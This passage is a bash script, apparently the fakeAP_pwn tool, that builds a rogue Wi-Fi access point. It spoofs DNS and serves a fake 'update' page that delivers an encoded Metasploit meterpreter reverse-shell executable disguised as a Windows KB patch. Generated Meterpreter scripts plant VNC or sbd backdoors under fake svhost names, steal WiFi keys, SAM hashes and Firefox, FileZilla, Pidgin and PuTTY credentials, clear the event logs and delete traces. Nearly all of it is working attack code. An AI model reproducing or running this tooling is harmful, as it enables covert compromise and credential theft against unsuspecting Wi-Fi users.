Time.now.strftime(\"%Y-%m-%d.%H:%M:%S\") uac = 0 ######################## Functions ######################## def doLinux print_status(\"Coming soon\") end def doOSX print_status(\"Coming soon\") end def doWindows(uac) session.response_timeout=120 begin" >> $path if [ "$payload" == "vnc" ] ; then echo " print_status(\" Stopping: winvnc.exe\") session.sys.process.execute(\"cmd.exe /C taskkill /IM svhost101.exe /F\", nil, {'Hidden' => true}) sleep(1) print_status(\" Uploading: VNC\") exec = upload(session,\"$www/winvnc.exe\",\"svhost101.exe\",\"\") upload(session,\"$www/vnchooks.dll\",\"vnchooks.dll\",\"\") upload(session,\"$www/vnc.reg\",\"vnc.reg\",\"\") sleep(1) print_status(\"Configuring: VNC\") execute(session,\"cmd.exe /C regedit.exe /S %TEMP%\\\vnc.reg\", nil) sleep(1) if uac == 1 print_status(\" Waiting: 30 seconds the for the target to click \\\"yes\\\"\") sleep(30) end print_status(\" Executing: winvnc (#{exec})\") execute(session,\"cmd.exe /C #{exec} -kill -run\", nil) sleep(1) print_status(\"Configuring: VNC (Reserving connection).\") execute(session,\"cmd.exe /C #{exec} -connect 10.0.0.1\", nil) print_status(\" Deleting: Traces\") delete(session, \"%SystemDrive%\\\vnc.reg\")" >> $path elif [ "$payload" == "sbd" ] ; then echo " print_status(\" Stopping: sbd.exe\") session.sys.process.execute(\"cmd.exe /C taskkill /IM svhost102.exe /F\", nil, {'Hidden' => true}) sleep(1) print_status(\"Uploading: SecureBackDoor\") exec = upload(session,\"$www/sbd.exe\",\"svhost102.exe\",\"\") sleep(1) print_status(\"Executing: sbd (#{exec})\") execute(session,\"cmd.exe /C #{exec} -q -r 10 -k g0tmi1k -e cmd -p $port 10.0.0.1\", nil)" >> $path elif [ "$payload" == "wkv" ] ; then echo " print_status(\" Uploading: WirelessKeyView\") if @client.sys.config.sysinfo['Architecture'] =~ (/x64/) exec = upload(session,\"$www/wkv-x64.exe\",\"\",\"\") else exec = upload(session,\"$www/wkv-x86.exe\",\"\",\"\") end sleep(1) print_status(\" Executing: wkv (#{exec})\") execute(session,\"cmd.exe /C #{exec} /stext %TEMP%\\\wkv.txt\", nil) sleep(1) if uac == 1 print_status(\" Waiting: 30 seconds the for the target to click \\\"yes\\\"\") sleep(30) end # Check for file! print_status(\"Downloading: WiFi keys (/tmp/fakeAP_pwn.wkv)\") session.fs.file.download_file(\"/tmp/fakeAP_pwn.wkv\", \"%TEMP%\\\wkv.txt\") print_status(\" Deleting: Traces\") delete(session, exec) delete(session, \"%TEMP%\\\wkv.txt\")" >> $path else echo " print_status(\"Stopping: backdoor.exe\") session.sys.process.execute(\"cmd.exe /C taskkill /IM svhost103.exe /F\", nil, {'Hidden' => true}) sleep(1) print_status(\"Uploading: backdoor.exe ($backdoorPath)\") exec = upload(session,\"$backdoorPath\",\"svhost103.exe\",\"\") sleep(1) print_status(\"Executing: backdoor\") execute(session,\"cmd.exe /C #{exec}\", nil)" >> $path fi echo " sleep(1) return rescue ::Exception => e print_status(\"Error: #{e.class} #{e}\") end end def upload(session,file,filename = \"\",trgloc = \"\") if not ::File.exists?(file) raise \"File to upload does not exists!\" else if trgloc == \"\" location = session.fs.file.expand_path(\"%TEMP%\") else location = trgloc end begin if filename == \"\" ext = file[file.rindex(\".\") .. -1] if ext and ext.downcase == \".exe\" fileontrgt = \"#{location}\\\svhost#{rand(100)}.exe\" else fileontrgt = \"#{location}\\\TMP#{rand(100)}#{ext}\" end else fileontrgt = \"#{location}\\\#{filename}\" end session.fs.file.upload_file(\"#{fileontrgt}\",\"#{file}\") rescue ::Exception => e print_status(\"Error uploading file #{file}: #{e.class} #{e}\") end end return fileontrgt end def execute(session,cmdexe,opt) r='' session.response_timeout=120 begin r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false}) r.close rescue ::Exception => e print_status(\"Error Running Command #{cmdexe}: #{e.class} #{e}\") end end def delete(session, path) r = session.sys.process.execute(\"cmd.exe /c del /F /S /Q \" + path, nil, {'Hidden' => 'true'}) while(r.name) select(nil, nil, nil, 0.10) end r.close end def checkUAC(session) begin open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,\"SOFTWARE\\\Microsoft\\\Windows\\\CurrentVersion\\\Policies\\\System\", KEY_READ) value = open_key.query_value(\"EnableLUA\").data rescue ::Exception => e print_status(\"Error Checking UAC: #{e.class} #{e}\") end return (value) end ########################### Main ########################## print_line(\"[*] fakeAP_pwn $version\")" >> $path #if | [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then echo "print_status(\"-------------------------------------------\") print_status(\"Date: #{date}\") print_status(\" IP: #{host}:#{port}\") print_status(\" OS: #{os}\") if os =~ (/Windows Vista/) || os =~ (/Windows 7/) uac = checkUAC(session) if uac == 1 print_error(\" UAC: Enabled\") session.core.use(\"priv\") #run kitrap0d # x86 ONLY #client.execute_script(\"script\",\"args\") #client.execute_script(\"multi_console_command\",[\"-cl\",'help,help\"]) else print_status(\" UAC: Disabled\") end end print_status(\"Arch: #{arch}\") print_status(\"Host: #{host}\") print_status(\"User: #{user}\") print_status(\"Mode: $payload\") print_status(\"-------------------------------------------\")" >> $path #fi echo "if os =~ /Linux/ doLinux elsif os =~ /OSX/ doOSX elsif os =~ /Windows/ # run getcountermeasure.rb -d doWindows(uac) else print_error(\"Unsupported OS\") exit end print_status(\"Unlocking: fakeAP_pwn\") output = ::File.open(\"/tmp/fakeAP_pwn.lock\", \"a\") output.puts(\"fakeAP_pwn\") output.close sleep(1)" >> $path if [ "$extras" == "true" ] ; then echo "print_status(\"-------------------------------------------\") print_status(\"Extras\") screenshot #---- session.core.use(\"priv\") #use priv getsystem hashes = session.priv.sam_hashes #hashdump #> /tmp/fakeAP_Pwn.hash #################################################################### begin session.core.use(\"priv\") hashes = session.priv.sam_hashes print_status(\"Capturing windows hashes \") File.open(File.join(logs, \"hashes.txt\"), \"w\") do |fd| hashes.each do |user| fd.puts(user.to_s) end end rescue ::Exception => e print_status(\"Error dumping hashes: #{e.class} #{e}\") end #################################################################### #---- sysinfo ps ipconfig route #enumdesktops #getdesktop #setdesktop #---- run checkvm.rb run dumplinks.rb -e run enum_firefox.rb run enum_logged_on_users.rb -c -l run enum_putty.rb run get_application_list.rb run getcountermeasure.rb -d -k run get_env.rb run get_filezilla_creds.rb -c run get_loggedon_users.rb -c -l run get_pidgin_creds.rb -b -c -l run getvncpw.rb #run killav.rb run remotewinenum.rb run scraper.rb run winenum.rb -r #---- clearev print_status(\"-------------------------------------------\")" >> $path fi echo "print_line(\"[*] Done!\")" >> $path if [ "$verbose" == "2" ] ; then echo "Created: $path"; fi if [ "$debug" == "true" ] ; then cat "$path" ; fi if [ ! -e $path ] ; then display error "Couldn't create $path" $diagnostics 1>&2; cleanup; fi fi if [ "$mode" == "flip" ] ; then path="/tmp/fakeAP_pwn.pl" # Squid script if [ -e "$path" ] ; then rm "$path" ; fi echo -e "#!/usr/bin/perl # fakeAP_pwn.pl v$version $|=1; \$count = 0; \$pid = \$\$; while (<>) { chomp \$_; if (\$_ =~ /(.*\.jpg)/i) { \$url = \$1; system(\"/usr/bin/wget\", \"-q\", \"-O\",\"$www/images/\$pid-\$count.jpg\", \"\$url\"); system(\"/usr/bin/mogrify\", \"-flip\",\"$www/images/\$pid-\$count.jpg\"); system(\"chmod\", \"666\", \"$www/images/\$pid-\$count.jpg\"); print \"http://10.0.0.1/images/\$pid-\$count.jpg\\\n\"; } elsif (\$_ =~ /(.*\.jpeg)/i) { \$url = \$1; system(\"/usr/bin/wget\", \"-q\", \"-O\",\"$www/images/\$pid-\$count.jpeg\", \"\$url\"); system(\"/usr/bin/mogrify\", \"-flip\",\"$www/images/\$pid-\$count.jpeg\"); system(\"chmod\", \"666\", \"$www/\$pid-\$count.jpeg\"); print \"http://10.0.0.1/images/\$pid-\$count.jpeg\\\n\"; } elsif (\$_ =~ /(.*\.gif)/i) { \$url = \$1; system(\"/usr/bin/wget\", \"-q\", \"-O\",\"$www/\$pid-\$count.gif\", \"\$url\"); system(\"/usr/bin/mogrify\", \"-flip\",\"$www/images/\$pid-\$count.gif\"); system(\"chmod\", \"666\", \"$www/\$pid-\$count.gif\"); print \"http://10.0.0.1/images/\$pid-\$count.gif\\\n\"; } elsif (\$_ =~ /(.*\.png)/i) { \$url = \$1; system(\"/usr/bin/wget\", \"-q\", \"-O\",\"$www/\$pid-\$count.png\", \"\$url\"); system(\"/usr/bin/mogrify\", \"-flip\",\"$www/images/\$pid-\$count.png\"); system(\"chmod\", \"666\", \"$www/\$pid-\$count.png\"); print \"http://10.0.0.1/images/\$pid-\$count.png\\\n\"; } else { print \"\$_\\\n\";; } \$count++; }" >> $path if [ "$verbose" == "2" ] ; then echo "Created: $path"; fi if [ "$debug" == "true" ] ; then cat "$path"; fi if [ ! -e $path ] ; then display error "Couldn't create $path" $diagnostics 1>&2; cleanup; fi path="/tmp/fakeAP_pwn.squid" # Squid config if [ -e "$path" ] ; then rm "$path" ; fi echo '# fakeAP_pwn.squid v$version hierarchy_stoplist cgi-bin ? acl QUERY urlpath_regex cgi-bin \? no_cache deny QUERY hosts_file /etc/hosts url_rewrite_program /tmp/fakeAP_pwn.pl refresh_pattern ^ftp: 1440 20% 10080 refresh_pattern ^gopher: 1440 0% 1440 refresh_pattern -i (/cgi-bin/|\?) 0 0% 0 refresh_pattern . 0 20% 4320 acl all src all acl localhost src 127.0.0.1/32 acl to_localhost dst 127.0.0.0/8 acl localnet src 10.0.0.0/8 acl manager proto cache_object acl SSL_ports port 443 # https acl SSL_ports port 563 # snews acl SSL_ports port 873 # rsync acl Safe_ports port 80 # http acl Safe_ports port 21 # ftp acl Safe_ports port 443 # https acl Safe_ports port 70 # gopher acl Safe_ports port 210 # wais acl Safe_ports port 1025-65535 # unregistered ports acl Safe_ports port 280 # http-mgmt acl Safe_ports port 488 # gss-http acl Safe_ports port 591 # filemaker acl Safe_ports port 777 # multiling http acl Safe_ports port 631 # cups acl Safe_ports port 873 # rsync acl Safe_ports port 901 # SWAT acl purge method PURGE acl CONNECT method CONNECT http_access allow manager localhost http_access deny manager http_access allow purge localhost http_access deny purge' > $path echo 'http_access deny !Safe_ports' >> $path echo 'http_access deny CONNECT !SSL_ports' >> $path echo 'http_access allow localnet http_access allow localhost http_access deny all http_reply_access allow all icp_access deny all http_port 3128 transparent visible_hostname myclient.hostname.com access_log /var/log/squid/access.log squid acl apache rep_header Server ^Apache broken_vary_encoding allow apache extension_methods REPORT MERGE MKACTIVITY CHECKOUT coredump_dir /var/spool/squid' >> $path if [ "$verbose" == "2" ] ; then echo "Created: $path"; fi if [ "$debug" == "true" ] ; then cat "$path"; fi if [ ! -e $path ] ; then display error "Couldn't create $path" $diagnostics 1>&2; cleanup; fi fi path="/tmp/fakeAP_pwn.dhcp" # DHCP script if [ -e "$path" ] ; then rm "$path"; fi echo -e "# fakeAP_pwn.dhcp v$version ddns-update-style none; ignore client-updates; # Ignore all client requests for DDNS update authoritative; default-lease-time 86400; # 24 hours max-lease-time 172800; # 48 hours log-facility local7;\n subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.150 10.0.0.250; option routers 10.0.0.1; option subnet-mask 255.255.255.0; option broadcast-address 10.0.0.255; option domain-name \"Home.com\";" >> $path if [ "$mode" == "normal" ] || [ "$mode" == "flip" ] || [ "$mode" == "transparent" ] ; then echo " option domain-name-servers 208.67.222.220, 208.67.222.222;" >> $path else echo " option domain-name-servers 10.0.0.1;" >> $path fi echo -e " option netbios-name-servers 10.0.0.100;\n}" >> $path if [ "$verbose" == "2" ] ; then echo "Created: $path"; fi if [ "$debug" == "true" ] ; then cat "$path" ; fi if [ ! -e $path ] ; then display error "Couldn't create $path" $diagnostics 1>&2; cleanup; fi if [ "$mode" != "normal" ] ; then path="/etc/apache2/sites-available/fakeAP_pwn" if [ -e "$path" ] ; then rm "$path"; fi # Apache (Virtual host) echo "# fakeAP_pwn v$version ServerAdmin webmaster@localhost DocumentRoot $www ServerName \"10.0.0.1\" Options FollowSymLinks AllowOverride None Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ AllowOverride None Options ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all ErrorLog /var/log/apache2/fakeAP_pwn-error.log LogLevel warn CustomLog /var/log/apache2/fakeAP_pwn-access.log combined ErrorDocument 403 /index.php ErrorDocument 404 /index.php ServerAdmin webmaster@localhost DocumentRoot $www ServerName \"10.0.0.1\" Options FollowSymLinks AllowOverride None Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all AllowOverride None Options ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all ErrorLog /var/log/apache2/error.log LogLevel warn CustomLog /var/log/apache2/ssl_fakeAP_pwn-access.log combined ErrorDocument 403 /index.php ErrorDocument 404 /index.php SSLEngine on SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key SSLOptions +StdEnvVars SSLOptions +StdEnvVars BrowserMatch \"MSIE [2-6]\" \ nokeepalive ssl-unclean-shutdown \ downgrade-1.0 force-response-1.0 BrowserMatch \"MSIE [17-9]\" ssl-unclean-shutdown " >> $path if [ "$verbose" == "2" ] ; then echo "Created: $path"; fi if [ "$debug" == "true" ] ; then cat "$path" ; fi if [ ! -e $path ] ; then display error "Couldn't create $path" $diagnostics 1>&2; cleanup; fi fi if [ "$mode" != "normal" ] && [ "$mode" != "flip" ] ; then path="/tmp/fakeAP_pwn.dns" # DNS script if [ -e "$path" ] ; then rm "$path" ; fi echo -e "# fakeAP_pwn.dns v$version\n10.0.0.1 *" >> $path # dnsspoof if [ "$verbose" == "2" ] ; then echo "Created: $path"; fi if [ "$debug" == "true" ] ; then cat "$path" ; fi if [ ! -e $path ] ; then display error "Couldn't create $path" $diagnostics 1>&2; cleanup; fi fi if [ "$apType" == "hostapd" ] ; then path="/tmp/fakeAP_pwn.hostapd" # Hostapd config if [ -e "$path" ] ; then rm "$path"; fi echo "# fakeAP_pwn.hostapd v$version interface=$apInterface logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 dump_file=/tmp/hostapd.dump ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=$ESSID hw_mode=g channel=$channel beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=2347 fragm_threshold=2346 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 #wmm_enabled=1 #wmm_ac_bk_cwmin=4 #wmm_ac_bk_cwmax=10 #wmm_ac_bk_aifs=7 #wmm_ac_bk_txop_limit=0 #wmm_ac_bk_acm=0 #wmm_ac_be_aifs=3 #wmm_ac_be_cwmin=4 #wmm_ac_be_cwmax=10 #wmm_ac_be_txop_limit=0 #wmm_ac_be_acm=0 #wmm_ac_vi_aifs=2 #wmm_ac_vi_cwmin=3 #wmm_ac_vi_cwmax=4 #wmm_ac_vi_txop_limit=94 #wmm_ac_vi_acm=0 #wmm_ac_vo_aifs=2 #wmm_ac_vo_cwmin=2 #wmm_ac_vo_cwmax=3 #wmm_ac_vo_txop_limit=47 #wmm_ac_vo_acm=0 #enable_karma=1 # uncomment this line if you patched hostapd with karma #accept_mac_file=/etc/hostapd/hostapd.accept #deny_mac_file=/etc/hostapd/hostapd.deny" >> $path if [ "$verbose" == "2" ] ; then echo "Created: $path"; fi if [ "$debug" == "true" ] ; then cat $path; fi if [ ! -e $path ] ; then display error "Couldn't create $path" $diagnostics 1>&2; cleanup; fi fi #----------------------------------------------------------------------------------------------# if [ "$mode" != "normal" ] && [ "$mode" != "flip" ]; then #display faction "Creating exploit.(Linux)" #if [ "$verbose" == "2" ] ; then echo "Command: /opt/metasploit3/bin/msfpayload linux/x86/shell/reverse_tcp LHOST=10.0.0.1 LPORT=4566 X > $www/kernal_1.83.90-5+lenny2_i386.deb"; fi #xterm -geometry 75x10+10+100 -T "fakeAP_pwn v$version - Metasploit (Linux)" -e "/opt/metasploit3/bin/msfpayload linux/x86/shell/reverse_tcp LHOST=10.0.0.1 LPORT=4566 X > $www/kernal_1.83.90-5+lenny2_i386.deb" #display action "Creating exploit..(OSX)" #if [ "$verbose" == "2" ] ; then echo "Command: /opt/metasploit3/bin/msfpayload osx/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4565 X > $www/SecurityUpdate1-83-90-5.dmg.bin"; fi #xterm -geometry 75x10+10+110 -T "fakeAP_pwn v$version - Metasploit (OSX)" -e "/opt/metasploit3/bin/msfpayload osx/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4565 X > $www/SecurityUpdate1-83-90-5.dmg.bin" display action "Creating: Exploit (Windows)" $diagnostics if [ ! -e "$www/sbd.exe" ] ; then display error "sbd.exe is not in $www" $diagnostics 1>&2; cleanup; fi if [ -e "$www/Windows-KB183905-x86-ENU.exe" ]; then rm "$www/Windows-KB183905-x86-ENU.exe"; fi #command="/opt/metasploit3/bin/msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 X > $www/Windows-KB183905-x86-ENU.exe" #command="/opt/metasploit3/bin/msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 R | /opt/metasploit3/bin/msfencode -e x86/shikata_ga_nai -c 5 -t raw | /opt/metasploit3/bin/msfencode -e x86/countdown -c 2 -t raw | /opt/metasploit3/bin/msfencode -e x86/shikata_ga_nai -c 5 -t raw | /opt/metasploit3/bin/msfencode -x $www/sbd.exe -t exe -e x86/call4_dword_xor -c 2 -o $www/Windows-KB183905-x86-ENU.exe" #command="/opt/metasploit3/bin/msfpayload windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 R | /opt/metasploit3/bin/msfencode -x $www/sbd.exe -t exe -e x86/shikata_ga_nai -c 10 -o $www/Windows-KB183905-x64-ENU.exe" # x64 bit! action "Metasploit (Windows)" "/opt/metasploit3/bin/msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 R | /opt/metasploit3/bin/msfencode -x $www/sbd.exe -t exe -e x86/shikata_ga_nai -c 10 -o $www/Windows-KB183905-x86-ENU.exe" $verbose $diagnostics "true" #action "Metasploit (Windows)" "/opt/metasploit3/bin/msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 R | /opt/metasploit3/bin/msfencode -x /pentest/windows-binaries/tools/tftpd32.exe -t exe -e x86/shikata_ga_nai -c 10 -o $www/Windows-KB183905-x86-ENU.exe" $verbose $diagnostics "true" sleep 1 if [ ! -e "$www/Windows-KB183905-x86-ENU.exe" ] ; then display error "Failed: Couldn't create exploit" $diagnostics 1>&2; cleanup; fi fi #----------------------------------------------------------------------------------------------# display action "Starting: Access point" $diagnostics if [ "$apType" == "airbase-ng" ] ; then loopMain="False" i="1" for i in {1..3} ; do # Main Loop killall airbase-ng 2>/dev/null # Start fresh sleep 1 command="airbase-ng -a $macAddress -W 0 -c $channel -e \"$ESSID\"" # taken out y (try w,a) if [ "$respond2All" == "true" ] ; then command="$command -P -C 60"; fi if [ "$debug" == "true" ] || [ "$verbose" != "0" ] ; then command="$command -v"; fi action "Access Point" "$command $monitorInterface" $verbose $diagnostics "true" "0|0|4" & # Don't wait, do the next command sleep 3 ifconfig $apInterface up # The new ap interface command=$(ifconfig -a | grep $apInterface | awk '{print $1}') if [ "$command" != "$apInterface" ] ; then display error "Couldn't create the access point's interface." $diagnostics 1>&2 else #if [ "$diagnostics" != "true" ] || [ "$debug" != "true" ] ; then loopMain="True"; break; fi # Not in the correct mode #if [ "$mode" == "non" ] ; then loopMain="non"; break; fi # Not using $interface therefore can't test. command=$(iwconfig $interface 2>/dev/null | grep "802.11" | cut -d" " -f1) if [ ! $command ]; then loopMain="True"; break; fi # $interface isn't WiFi, therefore can't test. display diag "Attempt #$i to detect the 'fake' access point." $diagnostics loopSub="False" x="1" for x in {1..5} ; do # Subloop display diag "Scanning access point (Scan #$x)" $diagnostics testAP $ESSID $interface return_val=$? if [ "$return_val" -eq "0" ] ; then loopSub="True"; break; # Sub loop elif [ "$return_val" -eq "1" ] ; then display error "Coding error" $diagnostics ; elif [ "$return_val" -eq "2" ] ; then display error "Couldn't detect a single access point" $diagnostics ; elif [ "$return_val" -eq "3" ] ; then display error "Couldn't find the 'fake' access point" $diagnostics ; else display error "Unknown error." $diagnostics ; fi sleep 1 done # Subloop if [ $loopSub == "True" ] ; then display info "Detected the 'fake' access point! ($ESSID)" $diagnostics loopMain="True" break; # MainLoop fi fi if [ -z "$(pgrep airbase-ng)" ] ; then display error "airbase-ng failed to start." $diagnostics 1>&2 if [ "$verbose" == "2" ] ; then echo "Command: killall xterm"; fi; cleanup fi sleep 3 done # MainLoop if [ $loopMain == "False" ] ; then display error "Couldn't detect the 'fake' access point." $diagnostics 1>&2 fi elif [ "$apType" == "hostapd" ] ; then action "'Fake' Access Point" "hostapd /tmp/fakeAP_pwn.hostapd" $verbose $diagnostics "true" "0|0|4" & # Don't wait, do the next command sleep 3 if [ -z "$(pgrep hostapd)" ] ; then display error "hostapd failed to start." $diagnostics 1>&2 if [ "$verbose" == "2" ] ; then echo "Command: killall xterm"; fi; if [ "$diagnostics" == "true" ] ; then echo "killall xterm" >> $logFile; fi cleanup fi fi #----------------------------------------------------------------------------------------------# display action "Configuring: Environment" $diagnostics ifconfig lo up ifconfig $apInterface 10.0.0.1 netmask 255.255.255.0 ifconfig $apInterface mtu $mtu route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 echo "1" > /proc/sys/net/ipv4/ip_forward command=$(cat /proc/sys/net/ipv4/ip_forward) if [ $command != "1" ] ; then display error "Can't enable ip_forward" $diagnostics 1>&2 ; cleanup ; fi echo "1" > /proc/sys/net/ipv4/conf/$interface/forwarding echo "1" > /proc/sys/net/ipv4/conf/$wifiInterface/forwarding echo "1" > /proc/sys/net/ipv4/conf/$apInterface/forwarding if [ "$mode" == "normal" ] ; then ipTables transparent $verbose $diagnostics $apInterface $interface $gatewayIP elif [ "$mode" == "flip" ] ; then ipTables squid $verbose $diagnostics $apInterface $interface elif [ "$mode" == "non" ] || [ "$mode" == "transparent" ] ; then ipTables force $verbose $diagnostics $apInterface fi if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Configuring: Permissions" $diagnostics ; fi action "DHCP" "chmod 775 /var/run/" $verbose $diagnostics "true" action "DHCP" "touch /var/lib/dhcp3/dhcpd.leases" $verbose $diagnostics "true" if [ -e "/etc/apparmor.d/usr.sbin.dhcpd3" ] ; then # ubuntu - Fixes folder persmissions mv "/etc/dhcp3/dhcpd.conf" "/etc/dhcp3/dhcpd.conf.bkup" ln "/tmp/fakeAP_pwn.dhcp" "/etc/dhcp3/dhcpd.conf" fi if [ "$mode" == "flip" ] ; then mkdir -p "$www/images" action "DHCP" "chmod 755 /tmp/fakeAP_pwn.pl" $verbose $diagnostics "true" action "DHCP" "chmod 755 $www/images" $verbose $diagnostics "true" action "DHCP" "chown proxy:proxy $www/images" $verbose $diagnostics "true" fi #----------------------------------------------------------------------------------------------# display action "Starting: DHCP" $diagnostics if [ -e "/etc/apparmor.d/usr.sbin.dhcpd3" ] ; then command="dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf $apInterface" else command="dhcpd3 -d -f -cf /tmp/fakeAP_pwn.dhcp $apInterface" ; fi action "DHCP" "$command" $verbose $diagnostics "true" "0|75|5" & # -d = logging, -f = forground # Don't wait, do the next command sleep 2 if [ -z "$(pgrep dhcpd3)" ] ; then # check if dhcpd3 server is running display error "DHCP server failed to start." $diagnostics 1>&2 if [ "$verbose" == "2" ] ; then echo "Command: killall xterm"; fi; if [ "$diagnostics" == "true" ] ; then echo "killall xterm" >> $logFile; fi cleanup fi #----------------------------------------------------------------------------------------------# if [ "$mode" != "normal" ] && [ "$mode" != "flip" ] ; then display action "Starting: DNS" $diagnostics action "DNS" "dnsspoof -i $apInterface -f /tmp/fakeAP_pwn.dns" $verbose $diagnostics "true" "0|165|5" & # Don't wait, do the next command sleep 2 fi #----------------------------------------------------------------------------------------------# if [ "$mode" != "normal" ] && [ "$mode" != "flip" ] ; then display action "Starting: Metasploit" $diagnostics command=$(netstat -ltpn | grep 4565) if [ "$command" != "" ] ; then display error "Port 4564 isn't free." $diagnostics 1>&2 ; command=$(pgrep ruby) action "Killing ruby" "kill $command" $verbose $diagnostics "true" # to prevent interference sleep 1 command=$(netstat -ltpn | grep 4565) if [ "$command" != "" ] ; then display error "Couldn't free port 4564." $diagnostics 1>&2 ; cleanup; fi # Kill it for them? fi #if [ "$verbose" == "2" ] ; then echo "Command: /opt/metasploit3/bin/msfcli exploit/multi/handler PAYLOAD=linux/x86/metsvc_reverse_tcp_tcp LHOST=10.0.0.1 LPORT=4566 AutoRunScript=/tmp/fakeAP_pwn-osx.rb E"; fi #$xterm -geometry 75x15+10+215 -T "fakeAP_pwn v$version - Metasploit (Linux)" -e "/opt/metasploit3/bin/msfcli exploit/multi/handler PAYLOAD=linux/x86/metsvc_reverse_tcp_tcp LHOST=10.0.0.1 LPORT=4566 AutoRunScript=/tmp/fakeAP_pwn-osx.rb E" & #if [ "$verbose" == "2" ] ; then echo "Command: /opt/metasploit3/bin/msfcli exploit/multi/handler PAYLOAD=osx/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4565 AutoRunScript=/tmp/fakeAP_pwn-linux.rb E"; fi #$xterm -geometry 75x15+10+215 -T "fakeAP_pwn v$version - Metasploit (OSX)" -e "/opt/metasploit3/bin/msfcli exploit/multi/handler PAYLOAD=osx/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4565 AutoRunScript=/tmp/fakeAP_pwn-linux.rb E" & action "Metasploit (Windows)" "/opt/metasploit3/bin/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 AutoRunScript=/tmp/fakeAP_pwn.rb INTERFACE=$apInterface E" $verbose $diagnostics "true" "0|255|15" & #ExitOnSession=false # Don't wait, do the next command sleep 5 # Need to wait for metasploit, so we have an exploit ready for the target to download if [ -z "$(pgrep ruby)" ] ; then display error "Metaspliot failed to start." $diagnostics 1>&2 if [ "$verbose" == "2" ] ; then echo "Command: killall xterm"; fi; if [ "$diagnostics" == "true" ] ; then echo "killall xterm" >> $logFile; fi cleanup fi fi if [ "$mode" == "flip" ] ; then display action "Starting: Squid" $diagnostics action "squid" "squid -f /tmp/fakeAP_pwn.squid" $verbose $diagnostics "true" sleep 3 if [ -z "$(pgrep squid)" ] ; then squid -f /tmp/fakeAP_pwn.squid # *** NEED A FIX *** fi sleep 3 if [ -z "$(pgrep squid)" ] ; then display error "squid failed to start." $diagnostics 1>&2 if [ "$verbose" == "2" ] ; then echo "Command: killall xterm"; fi ; if [ "$diagnostics" == "true" ] ; then echo "killall xterm" >> $logFile; fi cleanup fi fi if [ "$mode" != "normal" ] ; then #----------------------------------------------------------------------------------------------# display action "Starting: Web server" $diagnostics if [ ! -e "/etc/ssl/private/ssl-cert-snakeoil.key" ] ; then display error "Need to renew certificate" $diagnostics ; openssl genrsa -out server.key 1024 openssl req -new -x509 -key server.key -out server.pem -days 1826 mv -f "server.key" "/etc/ssl/private/ssl-cert-snakeoil.key" mv -f "server.pem" "/etc/ssl/certs/ssl-cert-snakeoil.pem" fi action "Web Sever" "/etc/init.d/apache2 start && ls /etc/apache2/sites-available/ | xargs a2dissite && a2ensite fakeAP_pwn && a2enmod ssl && a2enmod php5 && /etc/init.d/apache2 reload" $verbose $diagnostics "true" & #dissable all sites and only enable the fakeAP_pwn one # Don't wait, do the next command sleep 2 if [ -z "$(pgrep apache2)" ] ; then display error "Apache2 failed to start." $diagnostics 1>&2 if [ "$verbose" == "2" ] ; then echo "Command: killall xterm"; fi ; if [ "$diagnostics" == "true" ] ; then echo "killall xterm" >> $logFile; fi cleanup fi if [ "$diagnostics" == "true" ] ; then sleep 3 display diag "Testing: Web server" $diagnostics command=$(wget -qO- "http://10.0.0.1" | grep "Critical Vulnerability - Update Required") if [ "$command" != "" ] ; then echo "-->Web server: Okay" >> $logFile else display error "Web server: Failed" $diagnostics 1>&2 ; echo "-->Web server: Failed" >> $logFile wget -qO- "http://10.0.0.1" >> $logFile fi fi fi if [ "$mode" != "normal" ] && [ "$mode" != "flip" ]; then #----------------------------------------------------------------------------------------------# if [ "$payload" == "vnc" ] ; then display action "Configuring: VNC" $diagnostics action "VNC" "vncviewer -listen -compresslevel 4 -quality 4" $verbose $diagnostics "true" "0|565|10" & # Don't wait, do the next command elif [ "$payload" == "sbd" ] ; then display action "Configuring: SBD" $diagnostics action "SBD" "sbd -l -k g0tmi1k -p $port" $verbose $diagnostics "true" "0|565|10" & # Don't wait, do the next command sleep 1 fi #----------------------------------------------------------------------------------------------# if [ "$debug" == "true" ] || [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] ; then display action "Monitoring connections" $diagnostics action "Connections" "watch -d -n 1 \"arp -n -v -i $apInterface\"" $verbose $diagnostics "false" "0|475|5" & # Don't wait, do the next command fi display info "Waiting for the target to run the \"update\" file" $diagnostics # Wait till target is infected (It's checking for a file to be created by the metasploit script (fakeAP_pwn.rb)) if [ -e "/tmp/fakeAP_pwn.lock" ] ; then rm -r "/tmp/fakeAP_pwn.lock" ; fi while [ ! -e "/tmp/fakeAP_pwn.lock" ] ; do sleep 5 done #----------------------------------------------------------------------------------------------# display info "Target infected!" $diagnostics if [ "$diagnostics" == "true" ] ; then echo "-Target 